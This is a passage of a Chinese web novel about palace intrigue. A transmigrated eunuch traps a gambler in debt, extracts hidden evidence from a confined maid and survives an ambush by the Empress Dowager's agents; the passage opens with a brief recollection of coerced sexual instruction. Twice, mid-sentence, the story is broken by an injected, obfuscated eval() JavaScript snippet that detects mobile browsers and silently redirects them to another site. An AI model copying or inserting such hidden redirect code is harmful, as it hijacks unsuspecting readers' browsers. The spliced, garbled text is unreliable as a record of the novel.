起初只是机械地执行命令,去摆布那个少年颤抖的身体,去讲解那些令人作呕的细节。可随着衣衫褪去,肌肤相贴,她触碰到的不只是一具属于太监的残缺躯体,还有那具躯壳下,一个截然不同的灵魂透过眼神传递出的战栗。 尤其是当她的手指,无意间触碰到某些反应时,少年眼中迸发出的自我厌弃和羞耻,那不是伪装,那是一个真正属于女性的灵魂,在面对这具男性身体本能背叛时的崩溃。 那一刻,有什么东西在她心底轰然倒塌。她多年来用以自我保护的冰冷外壳,被那双盛满泪水,写满“这不该是我”的凤眼,凿开了一道裂缝。她想起了很多年前,同样身不由己,同样被命运摆布的另一个少女。 于是,她不再仅仅是教导。她贴了上去,用体温,用更深入的接触,去感受那具身体的颤抖,也去验证自己心底那荒谬的猜测。她清晰地记得,当他终于在她怀中崩溃,发出呜咽时,她心里涌起的不是完成任务后的松懈,而是一种混杂着怜悯悲哀,以及某种诡异满足的复杂情绪。 她确实,本不必做到最后一步。 “奴婢没有。”楚玉的声音干涩得厉害,每一个字都像是从喉咙里挤出来,“奴婢只是……确保他学会。以免将来御前出错,牵连娘娘。” 冯媛看着她强自镇定的模样,眼底掠过一丝极其复杂的情绪,靠回椅背,重新捻动佛珠,语气恢复了平日的温婉,“是吗?我还以为,你是看他生得好,动了些不一样的心思。毕竟,这深宫寂寞,有个知根知底、模样又可心的人陪着说说话,也是好的。” 这话,已经近乎直白的试探了。试探楚玉对关禧是否真有超出任务之外的感情。更深一层,或许也在试探,楚玉对她冯媛,那多年来深藏心底,小心翼翼维持着主仆界限之下的特殊依赖,是否因为关禧的出现,而有了些许动摇? 楚玉猛地抬眼,看向冯媛。 千言万语堵在喉咙口,在触及冯媛那双清明洞彻,早已看穿一切的眼眸时,骤然冻结。所有的辩解,所有的情绪,都显得苍白。她就像被剥光了所有伪装,赤裸地站在这佛堂的幽光里。 她张了张嘴,最终只是重新低下头,声音低哑:“娘娘多虑了。奴婢此生,唯有侍奉娘娘一愿。其他人与事,不过是过眼云烟,奉命而行罢了。至于关公公……他有他的路要走,奴婢与他,早已两清。” “两清?”冯媛重复着这两个字,指尖的佛珠停止了转动,她站起身,裙裾拂过光洁的地面,“罢了。李婕妤的案子,你多费心,暗中协助关禧。但务必谨慎,不可将自己和承华宫牵连进去。陛下要的是一把刀,我们递上刀柄就好,不必连手也伸过去。” “是。”楚玉躬身应道,依旧是那个恭顺得体的心腹宫女。 冯媛走到佛龛前,拈起三炷香,就着长明灯点燃,插入香炉。青烟笔直上升,模糊了她清丽的侧影。 “楚玉,”她背对着楚玉,声音轻得像一声呓语,“你说,这宫里,到底是身不由己更可怜,还是心不由己更可悲?” 楚玉僵立在原地,望着冯媛被烟雾缭绕的背影,嘴唇翕动,却终究没有发出任何声音。 佛堂内,唯有檀香寂寂,灯影幢幢。 62.第 63 章 关禧回到乾元殿东侧那间新拨的厢房,把自己关在书房里,对着跳跃的灯焰,将那两份记录反复看了数遍,每一个字都嚼碎了咽下去,再在脑子里重新拼合。 不能急。皇帝给了密令,没有给时限,这本就是一种压力,也是一种保护,允许他用更隐蔽,更迂回的方式。冯媛的提醒犹在耳边:徐昭容有孕,太后护着,动静大了,皇帝也未必能周全他。 他如今是御前红人关公公,有独立的小院,有使唤的小火者,在旁人看来,正是春风得意,该好好经营自己这一亩三分地的时候。若突然频繁接触那些低贱的罪奴,宫外的闲汉,无异于自曝其短。 他需要一张网,一些眼睛,一些不必他亲自出面,能为他捕捉风声,传递消息的影子。还不能是乾元殿里那些明面上拨给他的人,那些眼睛属于孙得禄,属于司礼监,或许也属于其他未知的势力。 他想起了双喜和贵平。这两个小火者是他从低等太监里一手带出来的,年纪小,背景相对简单,对他有本能的敬畏和依赖。尤其是双喜,机灵嘴甜,腿脚勤快,在底层太监宫女中混得开。贵平沉默,但观察力不错。 次日,关禧将两人叫到跟前。 “双喜,你今日起,多往各宫负责采买、浆洗、跑腿的那些小火者、小宫女堆里凑凑。”他语气平淡,像在交代最寻常的差事,“听听闲话,看看新鲜。特别是浣衣局、苦役司那边出来的,他们那里消息杂。不用刻意打听,就当是交朋友,混个脸熟。有谁日子特别难,或是家里有急事的,回来告诉我,咱们手头宽裕了,能帮衬一二就帮衬一二,结个善缘。” 双喜眼睛一亮,这差事他喜欢,连忙点头:“奴才明白!保管做得妥帖,不叫人说公公闲话!” 关禧又看向贵平:“贵平,你心思细。御膳房、茶房、针工局这些地方,每日进出的人多,物品繁杂。你留神看看,各宫用度有什么异常增减,或是有什么特别的东西在流通。也不必刻意记,看到听到什么觉得不一样的,回来跟我说一声就行。” 贵平应下:“是。” 从抽屉里取出几锭碎银,关禧分别推给二人:“拿着。该打点的时候打点,该请人喝碗茶的时候别吝啬。记着,是你们自己机灵,想着多结交些朋友,多条门路,跟我无关。若有人问起,就说关公公待人宽厚,你们手里有点余钱。” 两人接过银子,心头又是激动又是忐忑,知道这是主子真正的信重和考验,连忙表忠心。 这只是第一步,撒下些微不足道的饵料,期待能引来一些同样微不足道,却可能有用的鱼。 他自己的目光,则投向了宫外。 春杏的哥哥,李四,是关键。一个嗜赌成性,突然发了笔横财又置了田产的人,绝不可能就此安分。赌瘾是刻在骨头里的,田产可能已经抵押甚至变卖,再次输光才是常态。这样的人,是突破口,也是最容易打草惊蛇的环节。 几日后,关禧寻了个由头,向孙得禄告假半日,说是去内府供用库核对一批新入库的笔墨用度。供用库在皇城外朝区域,与六部衙门相隔不远,管理相对松散。他带着双喜,在库房里磨蹭了将近一个时辰,确认无人特别注意后,他换上双喜提前准备好的普通内侍灰布衣服,戴上一顶遮脸的毡帽,贴身藏好腰牌,从供用库一处僻静的侧门溜了出去。 这是他穿越后,第三次踏出宫门。与上次返乡不同,这次是孤身潜入京城的市井之中。冬日的京城街道,行人缩着脖子匆匆而行,各种气味混杂。他压低了帽檐,按照楚玉给的地址,朝着东城方向走去。 地址指向一片鱼龙混杂的区域,低矮的房舍挤在一起,巷子狭窄污秽。他很快找到了那家名为富贵坊的赌档,门面不起眼,里面却人声鼎沸。他没进去,在对街一个卖热汤饼的摊子坐下,要了一碗最便宜的素饼,慢慢吃着,眼睛留意着赌坊门口。 他从中午等到日头西斜,赌客进进出出,形形色色。直到天色将暗,一个穿着半旧棉袄,缩头缩脑,眼袋浮肿的中年汉子骂骂咧咧地走了出来,手里还捏着几个铜钱,脸色灰败。 关禧对照着记忆中冯媛册子上简单描述的形貌,塌鼻,招风耳,眉心有颗黑痣 ,确认此人正是李四。 很快,李四拐进了一条更暗的巷子,他起身,丢下几个铜板,不远不近地缀在后面。 李四显然输光了,垂头丧气,走到巷子深处一间更破败的屋子前,推门进去。关禧在巷口阴影里等了片刻,确认周围无人,才悄然靠近那间屋子。 窗纸破烂,能听到里面传来女人的低泣和男人的呵斥:“哭什么哭!老子时运不济!那几亩田……早晚翻本!” 关禧听了一会儿,心中有了计较,悄然后退,迅速离开了这片区域。 回到供用库侧门附近,双喜正急得团团转,见他安全回来,才松了口气。两人迅速换回衣服,关禧又恢复了那个沉稳的关公公模样,仿佛只是去供用库办了一趟寻常差事。 接下来的几天,关禧通过双喜,找到一个在京城街面上有些门路,专替宫里一些太监宫女往外偷偷捎带东西或办点私事的小混混,叫泥鳅黄,给了些钱,让他去办一件事:不着痕迹地接近李四,引他再去赌,并且帮他欠下一笔不大不小,但绝对还不上的赌债。 泥鳅黄干这种活轻车熟路,拍着胸脯保证办得漂亮。 贵平那边也有了点收获。他结交了一个在浣衣局做粗使的小太监,听那太监抱怨,说管事张嬷嬷最近心情似乎不错,得了些好茶叶,还赏了他们这些底下人几个肉包子。而张嬷嬷那个在永寿宫当差的远房侄女,前些日子好像得了一匹不错的料子。 消息零碎,但拼凑起来,指向性明确:浣衣局的张嬷嬷确实与永寿宫有联系,并且近期可能得了好处。 关禧按兵不动,每日在乾元殿当差,整理文书,伺候笔墨,偶尔被皇帝问起浙江司林敏之的案子进展,他便如实回禀林敏之正在加紧核查,尚未有最终结果。皇帝也不催,只让他继续盯着。 十日期限将至的前一天,林敏之递上来一份厚厚的请罪折子,并附了初步核查清单,里面罗列了浙江清吏司七八项或大或小的账目问题,涉及亏空,冒领约两万余两,牵连数名地方佐吏。折子里语气惶恐,大部分责任推给了下属欺瞒,商贾奸猾,自己只认失察之罪,并提出变卖家产填补部分亏空,恳请陛下从轻发落。 关禧将折子摘要呈给萧衍时,萧衍只冷笑一声:“两万两?他倒是会挑,舍卒保车。先搁着,看他后面还能吐出什么。” 关禧明白,这只是第一轮较量。林敏之在试探皇帝的底线,也在断尾求生。皇帝要的,显然不止于此。 又过了几日,泥鳅黄通过双喜传回消息:李四已经上钩,在新设的局里欠下了五十两银子的巨债,债主逼得很紧,扬言三天内不还钱就要卸他一条胳膊。李四正像热锅上的蚂蚁,到处求爷爷告奶奶,甚至又跑回了富贵坊,想再赌一把翻本,结果输得更惨。 时机到了。 关禧再次换上便服,趁夜出宫。这次他没带双喜,只身一人,在约定的一家偏僻小茶馆的雅间里,见到了被泥鳅黄请来的李四。 李四面色惨白,眼窝深陷,见到坐在阴影里毡帽压得低低的关禧,吓得腿一软,差点跪下:“好、好汉……钱……钱我一定还!求您宽限几日!我……我妹子在宫里当差,我找她想想法子……” 关禧故意压低了嗓音,沙哑难辨:“你妹子?叫什么?在哪个宫?” 李四像是抓住了救命稻草:“叫春杏!以前在长春宫,后来……后来去了浣衣局!她……她肯定有办法!宫里主子手指缝里漏点,就够我还债了!” “长春宫?李婕妤那个长春宫?”关禧慢慢问道。 李四眼神闪烁,“是……是啊。不过那都是老黄历了,我妹子现在在浣衣局……” “李婕妤出事前,你妹子是不是给过你一大笔钱?让你还了赌债,还买了田?”关禧的声音陡然转冷。 李四浑身一抖,“你怎么知道?你是谁?!” “我是谁不重要。”关禧从阴影里抬头,毡帽下的目光冰冷,“重要的是,那笔钱怎么来的?谁给的?说了,你的债,我或许可以帮你想想办法。不说……”他顿了顿,“赌坊的人卸你胳膊之前,我不介意先问问别的。” 李四扑通一声跪下,磕头如捣蒜:“我说!我说!那钱是我妹子给我的!她说……说是主子赏的!因为……因为她帮主子办成了一件事!” “什么事?” “我……我不太清楚啊!她没说细!只说是……是抓到了对头的大把柄,主子高兴,重赏的!”李四哭喊着,“好汉饶命!我就知道这么多!那钱我早输光了!田也抵押出去了!我真的什么都不知道了!” 关禧盯着他,判断他话里的真伪。李四这副吓破胆的样子,不像作伪,他可能确实不知详情,只是经手了赃款。 “你妹子现在在浣衣局,日子过得怎么样?还能接济你吗?” “不能啊!”李四哭丧着脸,“前两个月还行,偷偷托人带点小钱出来。后来就少了,这半个月干脆一分都没了。问带话的人,只说妹子在里头也不易,让我别指望了。” 这说明春杏的价值在降低,或者控制她的人认为已经足够安全,减少了封口费。也可能……春杏自己感觉到了危险,在刻意疏远这个不成器的哥哥,以免被他连累。 “给你妹子带过话的,是什么人?长什么样?” “是个脸生的太监,每次都不一样,给了钱就走,话都不多说一句。”李四回忆着,“样子……都挺普通的,丢人堆里找不着那种。” 谨慎。非常谨慎。 从李四这里挖不到更核心的东西了。关禧站起身,丢下一锭银子在地上:“管住你的嘴。今天的事,跟任何人提起,下次来找你的,就不是赌坊的人了。” 李四捧着银子,又是磕头又是保证。 关禧迅速离开茶馆,消失在京城的夜色里。这次接触风险极大,但他确认了两件事:一、春杏确实因立功获得大笔赏钱,且这功与李婕妤倒台时间吻合;二、春杏如今被严密控制,与外界联系切断。 突破口,似乎又回到了宫墙之内,回到了那个被永寿宫势力笼罩的浣衣局。 如何接近春杏,而不引起张嬷嬷乃至其背后势力的警觉? 关禧选中了那个叫小路子的粗使太监。贵平与他交好数日,摸清这是个胆小却孝顺的孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089572|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,家里老娘病着,每月那点微薄月例大半寄回了家,自己在浣衣局吃最差的,寒冬里手泡在冰水中烂了也不敢吭声。 关禧没让贵平直接给钱,那太扎眼。他让贵平无意间在小路子面前提起,关公公心善,见不得底下人太苦,尤其是有孝心的,有时会托人往外稍点不犯忌讳的膏药旧衣。小路子果然上心,央求贵平帮忙引荐,不求别的,只求一点治冻疮的膏药。 几日后,贵平悄悄塞给小路子一小盒宫里不算名贵但颇有效验的冻疮膏,还有一双半新的棉护手。小路子千恩万谢。又过几日,贵平偶然叹气,说关公公有件烦心事,想打听浣衣局一个叫春杏的旧宫人是否安好,说是受故人所托,但又怕犯了忌讳,不敢明着问。 小路子正愁无法报答,闻言立刻压低声音:“贵平哥,春杏姐姐我知道!她不住我们大通铺,在张嬷嬷后院有间单独的小屋,活儿也轻省,就是……不大出来,也不怎么跟我们说话。”他想了想,补充道,“不过前日我往张嬷嬷院里送柴火,隔着窗棂好像听见她在哭,张嬷嬷似乎在劝什么,声音压得低,听不清。” 单独的小屋,轻省的活计,私下哭泣,这是被软禁,且内心并不平静。 关禧知道,时机稍纵即逝。春杏的恐惧和愧疚,可能是撬开她嘴巴的缝隙。但他不能亲自去浣衣局,那里眼线太多。他需要一件能直击春杏软肋的礼物。 他想起冯媛记录中一笔带过的信息:春杏入宫前,家中虽贫,却与邻家一个姓陈的读书人青梅竹马,两人曾有婚约。春杏入宫后,那少年仍不时托人带话,直到李婕妤出事前,春杏最后一次收到外头消息,便是那男人考中了童生,信中说会等她。此后,便再无音讯。 关禧让泥鳅黄去查,很快有了回音:那陈姓男人确实中了童生,但家境贫寒,次年母亲病重,为筹钱医治,他日夜抄书,熬坏了眼睛,科举之路就此断绝,如今在城南一家书铺做账房,勉强糊口,年近三十仍未娶妻,性情孤僻。 关禧有了主意。他亲自用左手歪歪扭扭写了一封信,模仿不通文墨的市井口吻,信中说自己是南城书铺的伙计,受陈账房之托,辗转打听春杏姑娘下落。陈账房一直未娶,眼睛不好了,常念叨年少时邻家妹妹做的槐花饼。末尾附上一小包从宫外买来的已经干枯槐花,这是关禧让泥鳅黄费了不少劲才在冬日里寻到的。 信和槐花被小心封好,没有署名。关禧让贵平叮嘱小路子,找个绝对无人的时机,比如春杏独自在小屋时,从窗缝里塞进去,然后立刻离开,绝不可承认与自己有关,只说是一个脸生的姐姐让送的。作为回报,关禧会设法让小路子调去稍微轻松些的地方,并预支一笔钱给他老娘看病。 小路子又怕又激动,在贵平一番威逼利诱和保证之下,咬牙应承下来。 三日后,小路子哆嗦着回报贵平:东西塞进去了,当时屋里没声,他吓得跑开了。但第二天,他偷偷留意,看见春杏眼睛红肿得厉害,像是哭了一夜,在井边打水时,手里紧紧攥着个东西,隐约像是干槐花。 关禧知道,种子已经种下。春杏的防线动摇了。他需要给她一点希望,也需要给她施加一点压力。他让贵平继续通过小路子,传递一些模糊的信息:比如那位故人知道当年的事另有隐情,若想解脱,或可留下只言片语,浣衣局西北角废井边的第三块松动的砖。 他在赌,赌春杏对旧情的不舍,对当初助纣为虐的悔恨,以及对眼下这种被监控,无望生活的恐惧,会驱使她做点什么。 等待是煎熬的。关禧表面如常,萧衍问起李婕妤旧案,他只答“有些眉目,尚需确凿证据”,皇帝也不催。 又是五天过去。 这天傍晚,关禧刚从书房回来,贵平便神色有些慌张地凑过来,手里捏着一个皱巴巴沾着污渍的纸团。 “公公,这……这是小路子刚才拼命塞给我的,说是从废井边那砖头底下发现的,让我务必立刻交给您。”贵平声音发颤,“他吓坏了,说张嬷嬷那边好像有点察觉,查问这两天谁靠近过后院。” 关禧迅速展开纸团。上面是女子娟秀却凌乱的字迹,只有寥寥数语: “信物金簪,埋于旧居窗外枣树下。当初之事,乃受玉芙宫指使,以侍卫旧衣并迷香构陷。所得银两,宝昌票号,票根藏于簪内。悔之晚矣,望救陈郎。” 金簪!信物!宝昌票号票根! 这就是铁证,能直接指向徐昭容陷害李婕妤,并能通过票根追查银两来源的铁证,春杏果然留了后手,将最关键的证据埋在了她入宫前旧居的树下。只要拿到金簪和票根,就能形成完整的证据链。 狂喜之后是更深的警惕。春杏如此轻易就交出了藏匿地点?是走投无路的孤注一掷,还是……圈套? 但无论如何,这是目前最接近真相的线索。旧居地址冯媛的记录里有,在京城南郊的枣花胡同,并不难找。关键是,必须立刻秘密地取回证据,赶在任何人察觉之前。 他正飞速盘算如何不惊动任何人出宫取物,甚至想到了再次利用泥鳅黄。 门外传来双喜刻意提高的通报声: “公公,浣衣局的张嬷嬷来了,说是奉了春杏姑娘的请托,有紧要话想当面禀告关公公。” 63.第 64 章 张嬷嬷?奉春杏的请托?在这个刚拿到纸条的当口? 不对。春杏若真想传话,通过小路子塞纸条即可,何必让明显是监视者的张嬷嬷亲自来?这更像是摊牌。 难道纸条是诱饵?张嬷嬷察觉了小路子的动作,将计就计,用真的藏匿信息引他上钩,然后亲自上门,要么是警告,要么是奉命请君入瓮? 电光石火间,关禧脑中闪过无数念头,手中纸条凑近灯焰,看着它蜷曲焦黑,化为灰烬,然后对双喜低喝:“收拾干净,出去告诉张嬷嬷,我马上就来。” 他强迫自己镇定,整理了一下衣袍,走到外间。 张嬷嬷是个四十多岁,面容严肃的妇人,穿着浣衣局管事的靛蓝棉比甲,站在那里,眼神并不恭敬。 “关公公。”张嬷嬷敷衍地福了福身,“春杏那丫头,说是有件顶要紧的旧事,关乎宫里一位主子,定要当面说与公公听。老婆子拗不过,又怕她胡言乱语惹祸,只好亲自带个话。春杏说,若是公公想知道李婕妤案的真相,今夜亥时三刻,浣衣局后头晾晒场东边那排废屋,从左数第二间,她在那儿等公公。过时不候,也请公公……独自前来。” 独自前来。亥时三刻。废屋。 每一个词都透着诡异和危险。这绝不是春杏的风格,也绝不是求助者该有的态度。这更像是一个精心布置的陷阱,等着他这条嗅到血腥味的鱼游进去。 关禧面上不动声色:“哦?春杏姑娘有何要事,不能白日里通传,非要深更半夜约在那种地方?张嬷嬷,这不合规矩吧。” 张嬷嬷皮笑肉不笑:“老婆子只是传话。春杏说,此事关系重大,白日耳目众多,唯有夜深人静,才敢吐露一二。至于去不去,自然全凭公公决断。不过……”她拉长了语调,“春杏还说,若公公不去,那件埋在枣花胡同旧居枣树下的旧物,恐怕就永不见天日了。” 关禧瞳孔骤缩。对方连藏匿地点都一清二楚,纸条是真的,但传递纸条的通道和小路子,早已在对方监控之下。这是赤裸裸的示威,也是逼他不得不赴约的阳谋,不去,证据可能被转移或销毁,去,则是龙潭虎穴。 是谁?徐昭容?还是……能调动浣衣局管事嬷嬷,且对他的行动似乎了如指掌的更高层? 太后。 两个字像冰锥刺入脑海。只有太后,才有如此迅捷精准的反应,才能让张嬷嬷如此有恃无恐。春杏这条线,从头到尾都在太后掌心。他自以为隐秘的探查,在太后眼中,或许如同儿戏。 冷汗浸湿了内衫。关禧听到自己用平静得不似自己的声音说:“知道了。有劳张嬷嬷跑一趟。亥时三刻,我会酌情。” 张嬷嬷并不在意他是否明确答应,又扯了扯嘴角:“那老婆子就告退了。对了,春杏还让提醒公公一句,夜深路滑,浣衣局那边井多,公公……可要当心脚下。”说罢,转身离去,脚步沉稳,没有半分迟疑。 威胁。毫不掩饰的威胁。 关禧站在原地,直到张嬷嬷的身影消失在院门外,才缓缓吐出一口浊气,回到书房。 双喜和贵平凑过来,脸色都白得吓人。 “公公,不能去!那摆明是鸿门宴!”双喜急道。 贵平也点头:“小路子怕是已经暴露了,张嬷嬷这是引您入局。只怕人证物证,都在他们掌控中,就等您自投罗网。” 关禧何尝不知。但他有选择吗?皇帝等着他的结果。而太后已经出手,若他退缩,不仅前功尽弃,太后接下来会如何料理他这个胆敢窥探她羽翼下阴私的小太监?或许明日,他就会因失足落井或急病暴毙而消失。 进退皆险。 他沉默良久,眼神变幻。最终,一丝决绝划过眼底。 “双喜,你立刻去找泥鳅黄,让他不惜一切代价,连夜去枣花胡同,春杏旧居窗外枣树下,挖一件用油布包着的金簪。得手后,让他将东西藏到老地方,自己立刻离京避风头。”这是釜底抽薪,赌对方还没来得及转移实物,或者,赌太后有意用实物钓他,东西还在原处。 “贵平,你马上去乾元殿,求见孙副总管,就说我突发急症,腹疼如绞,恐是旧伤复发,求他请太医,再……禀告陛下一声。”他不能明言危险,只能用这种方式,在皇帝那里挂个号,若他今夜真回不来,皇帝至少知道,他是在为那桩差事突发急症。 两个小火者领命,匆匆而去。 关禧独自坐在书房里,看着窗外渐浓的夜色。亥时三刻,越来越近。 他换上一身便于活动的深色旧衣,贴身藏好一把匕首,又检查了袖中暗藏的迷药和火折子。这些在真正的权力碾压面前可能毫无用处,但至少,能让他死得明白一点。 更漏滴滴答答,催人命。 亥时二刻,他深吸一口气,吹灭书房灯火,像一道影子,悄无声息地融入了乾元殿外沉沉的黑暗之中。 通往浣衣局的路漫长阴森。这个时辰,宫道寂静无人,只有远处巡夜侍卫的脚步声和更梆声偶尔传来。浣衣局位于宫廷最偏僻的西北角,靠近冷宫,常年弥漫着潮湿的皂角和腐败物的气味。 越靠近,越是死寂。晾晒场空旷,惨白的月光照在一排排空荡荡的竹竿上,投下狰狞扭曲的影子。东边那排废屋,年久失修,窗棂破损,在夜风中发出呜咽般的怪响。 从左数第二间。 关禧屏住呼吸,贴着墙根靠近。屋门虚掩,里面没有光亮,只有浓重的黑暗和灰尘气息。 他推开门。 月光勉强勾勒出屋内轮廓,空无一物,只有满地碎瓦和蛛网。没有人。 他心头一沉,以为中计时,身后传来脚步声,以及一个苍老的女声: “关公公,果然守时。” 关禧转身。 月光下,张嬷嬷如鬼魅般站在不远处,她身边还站着两个身形高大,面无表情的太监,一左一右,封住了他的退路。而更让他心底寒彻的是,张嬷嬷身侧稍后,还站着一个穿着褐色团花袄,低眉顺眼的老嬷嬷,那是永寿宫太后身边得用的心腹,他曾有过一面之缘的,江嬷嬷。 太后的人,亲自来了。 “春杏姑娘呢?”关禧强迫自己声音稳定。 张嬷嬷嗤笑一声:“春杏?那丫头得了失心疯,胡言乱语,已经挪去静养了。关公公,深更半夜,擅闯浣衣局禁地,意欲何为啊?” 江嬷嬷上前一步,上下打量着关禧:“关公公,太后娘娘听闻你近日甚是辛劳,不仅在御前伺候笔墨,还热心查访陈年旧案,体恤下情。娘娘让老奴来问问,关公公查到了什么?可需永寿宫帮忙?” 话是温和的,语气却带着千斤重压。 关禧知道,最后的时刻到了,他挺直了背脊,迎着江嬷嬷的目光:“奴才惶恐,不知太后娘娘所指何事。奴才只是奉陛下之命,整理旧档,偶有疑惑,不敢不尽心。若有不妥之处,还请嬷嬷明示。” “明示?”江嬷嬷慢慢走近,凑到关禧面前,声音压得极低,只有两人能听见,“李婕妤的案子,陛下当时处置得急了些,有些细节未及深究。如今时过境迁,相关人等都各有归宿,再掀旧账,徒惹风波,于陛下圣誉、于后宫安宁,皆无益处。关公公是个聪明人,当知有些事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095768|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,水至清则无鱼。太后娘娘念你伺候陛下勤谨,只要你懂得适时收手,将那不该有的心思和……不该拿的东西交出来,今夜之事,便当从未发生过。你依旧是御前得用的关公公。” 这是最后通牒。让他放弃追查,交出可能已经到手的金簪和票根。 关禧沉默。 夜风穿过废屋的破洞,发出尖锐的呼啸。 他抬起眼,看向远处黑沉沉的宫宇轮廓,那里是乾元殿的方向。 “嬷嬷,奴才愚钝,只知奉旨行事。陛下交办的差事,未有明旨撤回,奴才……不敢不查,亦不敢有所隐瞒。” 江嬷嬷的眼神彻底冷了下来,像两潭深不见底的冰窟。 “好,好一个奉旨行事,忠贞不二。”她退后一步,挥了挥手。 张嬷嬷和那两个高大太监立刻逼上前来。 “关公公既然执迷不悟,那便只好请你去个清净地方,好好想一想了。浣衣局这口废井,埋没个把不懂规矩的奴才,还是绰绰有余的。” 废井!他们想在这里结果了他! 两个太监一左一右钳制住关禧的胳膊,力量大得惊人。张嬷嬷脸上露出狞笑,指向晾晒场边缘那口被杂草半掩的黑黢黢的井口。 “陛下口谕到——” 一声通传,划破了浣衣局死寂的夜空。 远处,一串急促的脚步声和灯笼光芒迅速靠近。孙得禄气喘吁吁地跑在最前面,身后跟着数名乾元殿的侍卫,还有两名太医打扮的人。 孙得禄一眼扫过场中情形,目光在江嬷嬷脸上停顿一瞬,随即落在被制住的关禧身上,尖声道:“陛下听闻关公公急症,特遣太医前来诊治!尔等这是在做什么?还不快放开关公公!” 江嬷嬷脸色变幻,孙得禄的到来,尤其是带着皇帝口谕和侍卫,完全打乱了她的计划,她死死盯了关禧一眼,又看向孙得禄,缓缓道:“孙副总管,关公公夜闯浣衣局禁地,形迹可疑,老奴正欲将其拿下问话。既然陛下有旨,那便请关公公先随太医诊治吧。不过,此事,老奴会如实禀报太后娘娘。” 孙得禄皮笑肉不笑:“江嬷嬷放心,此事咱家也会如实禀告陛下。关公公,还能走吗?陛下等着呢。” 钳制关禧的太监在江嬷嬷示意下松开了手。关禧只觉得手臂酸痛,冷汗已然湿透重衣,他强撑着,对孙得禄躬身:“有劳孙公公……无大碍。” “那就走吧。”孙得禄转身,示意侍卫前后护着关禧,太医也连忙上前做搀扶状。 一行人如来时一般迅速,离开了阴森可怖的浣衣局晾晒场。 身后,江嬷嬷和张嬷嬷站在月光与阴影的交界处,脸色阴沉如水。 走出很远,直到彻底看不见浣衣局的轮廓,关禧才觉得那扼住喉咙般的压力稍稍松懈,腿一软,几乎站立不住。 孙得禄伸手扶了他一把,低声道:“关公公,好险。陛下看了你让贵平传的话,便觉不对,立刻让咱家带人来找。以后……行事还需更加谨慎才是。”他话中有话,眼神复杂。 今夜关禧侥幸逃过一劫,是因为皇帝那点尚未熄灭需要用他的心思,及时伸出了手。但太后的警告和杀意,已如跗骨之蛆。而皇帝与太后之间,因为他这枚棋子,那层微妙的平衡,也被悄然打破。 证据呢?泥鳅黄能否成功拿到金簪?即便拿到,在太后已然警觉的此刻,他又该如何将它送到皇帝面前?而皇帝,在太后的压力下,又会如何抉择? 关禧望着前方乾元殿越来越近的灯火,第一次觉得,那曾经代表机遇的光芒,此刻竟显得如此飘摇不定。 64.第 65 章 次日,寅时刚过。 关禧睁着眼,躺在乾元殿东厢房那张铺着厚厚锦褥的床上,望着帐顶繁复的纹路。 一夜未眠。 不是恐惧,不是后怕,而是亢奋。 昨夜被孙得禄救回后,他依着皇帝口谕,被太医诊了脉,开了安神汤,送回这间看似安全实则不知有多少双眼睛盯着的屋子。他斜靠在床头,听着窗外风声,在脑中一遍遍复盘。 赌对了吗? 他赌泥鳅黄那见钱眼开又狡兔三窟的市井混子,能在太后的人反应过来彻底控制或转移物证前,抢先一步。赌的是太后的傲慢,她或许以为控制了人,监视了传递渠道,捏住了他关禧的命门,那埋在旧居树下不起眼的旧物,便如囊中之物,不必急于一时。 这种傲慢,源于绝对的权力掌控感。 他也赌皇帝会及时伸一下手。昨夜孙得禄来得确实及时,甚至带了侍卫和太医,阵仗不小。这意味着皇帝至少在当时,不想他立刻死。无论是为了他可能查到的线索,还是仅仅为了维护自己乾元殿的人不能随意被处置的颜面。 至于人证春杏被太后带走静养,在意料之中。从他开始探查,春杏就是最脆弱的环节,太后绝不会留她在浣衣局这个可能被继续接触的地方。 天光微亮时,窗棂传来有节奏的三下叩击,两短一长。 关禧立刻起身,走到窗边,推开一条缝隙。 外面是灰蒙蒙的晨雾,一个蒙着头的身影一闪而过,一个用油污布帕包裹得严严实实的硬物塞了进来,旋即像受惊的老鼠般窜入雾气中,消失不见。 是双喜。按照他昨夜交代的暗号和地点,从宫外与泥鳅黄的秘密交接点取回了东西。 关禧迅速关窗,回到床前,就着透入的微光,一层层打开油污布帕。 里面躺着一支鎏金簪子,样式普通,有些过时,金质也不纯。他小心捏着簪头,轻轻旋动,簪身中空,里面果然卷着一张的纸片。 他屏住呼吸,用指尖抽出纸片,展平。 上面是宝昌号特有的朱红印鉴,票面金额:纹银八十两。签发日期:永昌五年六月初七。最关键的是,取款人留印处,盖着一个清晰的私章,虽印泥有些晕开,但徐宛白三个篆体小字,依然可辨。 铁证。 关禧的心脏在胸腔里沉稳地跳动了两下,没有狂喜,只有一种果然如此的了然,和一种愉悦? 是的,愉悦。 他摩挲着金簪和纸片,嘴角勾起一丝极淡的弧度。 死过一次的人,对第二次死亡,似乎真的少了些本能的畏惧。穿越这种离谱的事都经历了,皇宫这场真人版超高难度的生存游戏,每过一关,每拿到一点筹码,都让他有种成就感。 至于太后昨晚的杀意,皇帝的权衡,未来的凶险……那都是下一关的剧情。 现在,他手里有道具了。 重新包好簪子和票根,藏入怀中暗袋最深处,然后开始有条不紊地洗漱,更衣。换上那身簇新的靛蓝云纹随堂太监常服,将腰牌挂得端正。 孙得禄已经在那里,看见他时,细长的眼睛里闪过一丝极难捕捉的惊异,没想到他还能如此完整且镇定地出现。 “关公公,身子可大好了?陛下正问起你。” 